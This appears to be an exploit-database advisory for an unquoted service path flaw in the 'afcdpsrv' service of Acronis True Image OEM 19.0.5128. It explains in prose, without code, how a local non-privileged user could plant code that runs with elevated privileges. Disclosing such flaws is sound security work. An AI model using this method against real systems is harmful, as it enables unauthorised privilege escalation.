• # Exploit Title: Acronis True Image OEM 19.0.5128 - 'afcdpsrv' Unquoted Service Path
  # Date: 2019-11-11
  # Author: Alejandra Sánchez
  # Vendor Homepage: https://www.acronis.com
  # Software: ftp://supportdownload:supportdownload@ftp.kingston.com/AcronisTrueImageOEM_5128.exe
  # Version: 19.0.5128
  # Tested on: Windows 10
  
  # Description:
  # Acronis True Image OEM 19.0.5128 suffers from an unquoted search path issue impacting the service 'afcdpsrv'. This could potentially allow an 
  # authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
  # the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
  # potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
  # of the application.
  
  # Prerequisites
  # Local, Non-privileged Local User with restart capabilities
